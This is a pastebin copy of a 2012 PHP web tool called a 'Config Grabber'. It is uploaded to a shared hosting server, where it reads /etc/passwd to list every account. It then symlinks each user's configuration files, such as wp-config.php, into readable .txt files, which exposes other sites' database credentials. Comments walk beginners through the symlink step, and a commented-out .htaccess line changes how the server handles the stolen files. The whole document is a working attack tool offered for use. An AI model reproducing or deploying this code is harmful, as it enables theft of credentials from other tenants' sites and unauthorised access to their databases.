SHOW:
|
|
- or go back to the newest paste.
1 | <html> | |
2 | <head> | |
3 | <title>Sec4Ever Config Grabber By DamaneDz</title> | |
4 | <link href='http://www.sec4ever.com/home/sec4ever.gif' type='image/x-icon' rel='shortcut icon' /> | |
5 | <style> | |
6 | body{background-color:#111;color:#00ff00;} | |
7 | body,td,th{ font: 8pt Lucida,Tahoma;margin:0;vertical-align:top;color:#00ff00; } | |
8 | table.info{ color:#000;background-color:#222; } | |
9 | text-align: center; | |
10 | span,h1,a{ color: $color !important; } | |
11 | span{ font-weight: bolder; } | |
12 | h1{ border-left:7px solid $color;padding: 3px 5px;font: 14pt Verdana;background-color:#333;margin:0px; } | |
13 | div.content{ padding: 5px;margin-left:5px;background-color:#222; } | |
14 | a{ text-decoration:none; } | |
15 | a:hover{ text-decoration:underline; } | |
16 | .ml1{ border:1px solid #555;padding:5px;margin:0;overflow: auto; } | |
17 | .bigarea{ width:100%;height:300px; } | |
18 | #new,input,table,td,tr,#gg{border-style:solid;text-decoration:bold;} | |
19 | input,textarea,select{ margin:0;color:#999;background-color:#222;border:1px solid $color; font: 8pt Tahoma,"Tahoma"; } | |
20 | .style{ | |
21 | font-size: 36px; | |
22 | text-align: center; | |
23 | color: #FFFFFF; | |
24 | background-color: #000000; | |
25 | font-family: Georgia, "Times New Roman", Times, serif; | |
26 | } | |
27 | #textarea { | |
28 | background-color: #000000; | |
29 | -moz-border-radius: 15px; | |
30 | -webkit-border-radius: 15px; | |
31 | border: 1px solid #FF0000; | |
32 | padding: 5px; color:#FF0000 | |
33 | } | |
34 | </style> | |
35 | <div align="center" class="style">Sec4Ever Config Grabber By DamaneDz (PHP Version)</div> | |
36 | <p> </p> | |
37 | <form action="" method="post"> | |
38 | <p align="center"> | |
39 | <font size="5">Configs Path:</font> | |
40 | <p> </p> | |
41 | <p align="center"><textarea id="textarea" name="configs" cols="100" rows="18" >blog/wp-config.php</textarea> | |
42 | <p> </p> | |
43 | <p align="center"><font size="5">Home Path:</font> | |
44 | <p> </p> | |
45 | <p align="center"><input name="home" type="text" size="30" value="/home"/><br> | |
46 | <p> </p> | |
47 | <p align="center"><font size="5">Files Path:</font> | |
48 | <p> </p> | |
49 | <p align="center"><input name="public" type="text" size="30" value="/public_html"/><br> | |
50 | <p> </p> | |
51 | <p align="center"><input name="symlink" size="80" value="Symlink" type="submit"> | |
52 | <p> </p> | |
53 | </form> | |
54 | <? | |
55 | /* | |
56 | ||
57 | File Writed By DamaneDz / Idea By LiON H34RT | |
58 | ||
59 | Email: Damane-Dz@hotmail.com | |
60 | ||
61 | Twitter: @DamaneDz | |
62 | ||
63 | Before Using This File Please Check The Disabled Function | |
64 | ||
65 | You Can Use This File To Check Them | |
66 | ||
67 | http://pastebin.com/HrZHdQAG | |
68 | ||
69 | P.S: Symlink Function Is Very Requested | |
70 | ||
71 | The Below Comments Was Created Just to Help Beginner | |
72 | ||
73 | */ | |
74 | ||
75 | set_time_limit(0); // no time limit | |
76 | ||
77 | if(isset($_POST["symlink"])){ | |
78 | ||
79 | $configs = explode("\n",$_POST["configs"]); | |
80 | ||
81 | $public = $_POST['public']; | |
82 | ||
83 | $home = $_POST['home']; | |
84 | ||
85 | $passwd = fopen("/etc/passwd", "rb"); // Read Passwd File | |
86 | ||
87 | while (!feof($passwd) ) { | |
88 | $lines = fgets($passwd); // >> Get Contents Of The Passwd File | |
89 | $user = explode(':', $lines); // Explode The Passwd File By : | |
90 | ||
91 | file_put_contents("users.txt" , $user[0]."\n", FILE_APPEND); // Write A New File Contain Users | |
92 | ||
93 | // StarT Symlinking ... | |
94 | ||
95 | foreach ($configs as $config){ | |
96 | ||
97 | //$home.'/'.$user[0].$public.'/'.$config >> Traget Config | |
98 | //$user[0].'_'.$config.'.txt' >> File Link Name | |
99 | ||
100 | symlink($home.'/'.$user[0].$public.'/'.$config, $user[0].'_'.$config.'.txt'); | |
101 | ||
102 | // Symlink Function Requested Check Your Disabled Function | |
103 | ||
104 | /* | |
105 | if (file_exists($user[0].'_'.$config.'.txt')){ | |
106 | $link=$user[0].'_'.$config.'.txt'; | |
107 | echo "<p align='center'><font color='red'>Symlink: $link</font></p>"; | |
108 | } | |
109 | */ | |
110 | ||
111 | // Done Symilnking :p | |
112 | } | |
113 | } | |
114 | // Generate .htaccess Delete The // To Activate The Action :p | |
115 | // file_put_contents(".htaccess" , "AddHandler php-script .txt\nAddType text/html htm html php\n", FILE_APPEND); | |
116 | ||
117 | // Oh FinallY :p !! | |
118 | print "<p align='center'><font color='#F6358A' size='4'>DonE !</p>"; | |
119 | } | |
120 | ?> | |
121 | <p> </p> | |
122 | <p> </p> | |
123 | <p align="center"><font color="#F6358A" size="4">By DamaneDz(Damane-Dz@hotmail.com)</font><br><br> | |
124 | MaDe in AlGeria 2012 ©</p> | |
125 | </head> | |
126 | </html> | |
127 | <?php | |
128 | // EOF !! |